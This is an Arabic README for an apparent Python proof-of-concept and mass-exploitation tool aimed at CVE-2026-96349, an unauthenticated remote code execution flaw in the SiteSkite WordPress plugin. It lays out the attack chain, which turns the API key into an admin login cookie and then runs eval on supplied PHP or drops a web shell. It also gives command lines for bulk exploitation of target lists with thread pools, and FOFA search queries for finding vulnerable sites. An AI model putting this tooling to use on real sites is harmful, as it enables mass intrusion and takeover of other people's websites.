
أداة إثبات مفهوم (PoC) بلغة Python واستغلال جماعي للثغرة CVE-2026-96349، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) دون مصادقة في إضافة WordPress SiteSkite الإصدار ≤2.1.8 عبر تسجيل الدخول التلقائي بمفتاح API وتقييم PHP عبر MCP.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-96349 |
| المنتج | إضافة WordPress SiteSkite |
| المتأثر | ≤ 2.1.8 |
| المُصلَح | 2.2.0 |
| CWE | CWE-94 — التحكم غير السليم في توليد الشيفرة |
| CVSS | 10.0 (حرجة) — استشارة Patchstack |
| فهرس PoCbit | https://pocbit.org/pocs/ |
| صفحة PoCbit | https://pocbit.org/pocs/cve-2026-96349 |
| علامة التحقق | POCBIT-96349-OK |
PoC بلغة Python على نفس نمط CVE-2026-102425: قائمة تفاعلية، استغلال جماعي (افتراضي)، --check، -u، --lab، تجمّع خيوط، hits.txt / exploited.txt.
تصف Patchstack وبرنامج CVE الثغرة CVE-2026-96349 بأنها ثغرة تنفيذ شيفرة عن بُعد بدون مصادقة في إضافة SiteSkite. النص العام قصير عمدًا؛ إصلاح المورّد 2.2.0 (سبتمبر 2026) يمسّ المصادقة وتسجيل الدخول التلقائي بشكل كبير. تُظهر المقارنة الساكنة بين 2.1.8 و2.2.0 في هذا المستودع (extract-2.1.8/، extract-2.2.0/) سطح الهجوم العملي الذي ينفّذه هذا الـ PoC.
SiteSkite إضافة WebOps كبيرة: نسخ احتياطية، وواجهة برمجة تطبيقات البوابة، وMCP ذكاء اصطناعي داخل الموقع ("abilities") بما في ذلك أدوات متقدمة تستدعي eval() على شيفرة PHP يوفّرها المهاجم (siteskite_execute_php) وكتابة ملفات عشوائية (siteskite_write_file). يمكن الوصول إلى تلك القدرات عبر REST وعبر admin-ajax.php عندما يكون الموقع مرتبطًا بـ مفتاح API الخاص بـ SiteSkite.
الخطأ الحرج في ≤ 2.1.8 هو أن نفس مفتاح API طويل الأمد يعمل أيضًا كـ حامل تسجيل دخول مدير WordPress بدون مصادقة:
AutoLoginController المعامل ?token=<siteskite_api_key> على /siteskite-autologin، وعبر handle_token_login()، على أي عنوان URL في الواجهة الأمامية يتضمن ?token=….get_option('siteskite_api_key') (بدون توقيع البوابة، وبدون nonce لمرة واحدة).wp_set_auth_cookie() لـ أول مدير، مع تجاوز اختياري للمصادقة الثنائية (2FA) لإضافات Solid Security وما شابهها.يزيل الإصدار 2.2.0 هذا المسار: تُرفض حاملات مفتاح API الخام (فحوصات hash_equals، "Login Unavailable")، ويتطلب تسجيل الدخول روابط موقّعة صادرة من البوابة (AutologinPortalSignature). لم يعد نواة الأمان mu-plugin تعترف بعمليات تسجيل الدخول بالمفاتيح القديمة.
من منظور المهاجم، تتكون السلسلة من:
/?token=KEY أو /siteskite-autologin?token=KEY).POST /wp-json/siteskite/v1/abilities/execute (أو admin-ajax.php?action=siteskite_api) مع الترويسة X-SiteSkite-Key: KEY وتشغيل siteskite_execute_php أو إسقاط up.php عبر siteskite_write_file ← POCBIT-96349-OK.أدوات MCP المتقدمة مفعّلة افتراضيًا في 2.1.8 (McpSettings::DEFAULT_ADVANCED = '1')، لذا تكشف العديد من المواقع المرتبطة عن eval بمجرد معرفة المفتاح.
| المكوّن | سلوك 2.1.8 | تغيير 2.2.0 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= يساوي مفتاح API المخزّن ← ملف تعريف ارتباط المسؤول | يُرفض المفتاح الخام؛ تسجيل دخول البوابة عبر HMAC فقط |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php ← eval($code) | لا يزال موجودًا؛ محمي بالمصادقة والإعدادات |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key ← تنفيذ القدرات | نفس السطح؛ لم يعد تسجيل الدخول التلقائي يسرّب الجلسة دون مفتاح |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api يمرّر القدرات عندما يكون المفتاح صالحًا | لا يزال يتطلب مفتاحًا / مفتاح ضيف |
توجد مسارات REST أخرى غير مصادَق عليها (UploadRest، تسجيل OAuth) لكنها تتطلب رموزًا أو PKCE؛ وهي ليست السلسلة الأساسية المُنمذجة هنا.
| الملف | الدور |
|---|---|
poc.py | CLI / تفاعلي / استغلال جماعي |
_engine.py | منطق HTTP، بيانات PoCbit الوصفية، خادم المختبر |
up.php | فحص اختياري لقشرة الويب (?pocbit=1 ← علامة) |
targets.example.txt | قائمة عناوين URL؛ اختياريًا URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | مصدر المورّد للمقارنة (غير مطلوب لتشغيل PoC) |
pip install requests coloramapython poc.py
المطالبات: الوضع، مفتاح API عام اختياري، الملف الهدف، الخيوط (افتراضيًا 16)، المهلة الزمنية.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
مفاتيح لكل هدف (علامة جدولة أو مسافة أو خط عمودي بعد URL):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
المفتاح الاحتياطي من البيئة: SITESKITE_API_KEY أو SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
البصمة: الوسم المستقر في readme.txt، استجابة الرمز المفقود القديمة /siteskite-autologin، الإصدار ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
يشغّل 127.0.0.1:8796 مع readme وهمي 2.1.8، وتسجيل دخول تلقائي، ونقطة نهاية abilities؛ يجب أن يُرجع "exploited": true.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php مع echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval لإسقاط مساعد لـ up.phpتتضمن صفوف نتائج JSON pocbit وpocbit_catalog وpocbit_page وعناوين URL الخاصة بـ CVE وverify_marker لخطوط أنابيب التسجيل.
أمثلة (عدّلها لتناسب مفهرسك):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
وضع الفحص لا يقوم بتخمين مفاتيح API بالقوة الغاشمة. يتطلب وضع الاستغلال مفتاحًا ما لم تكن لديك بالفعل أزواج url\tkey من بوابتك أو من معلومات التسريب الخاصة بك.
/siteskite-autologin وراجع السجلات بحثًا عن إساءة استخدام ?token= / X-SiteSkite-Key.استخدمه فقط على الأنظمة التي تملكها أو لديك تفويض كتابي لاختبارها. الوصول غير المصرح به غير قانوني.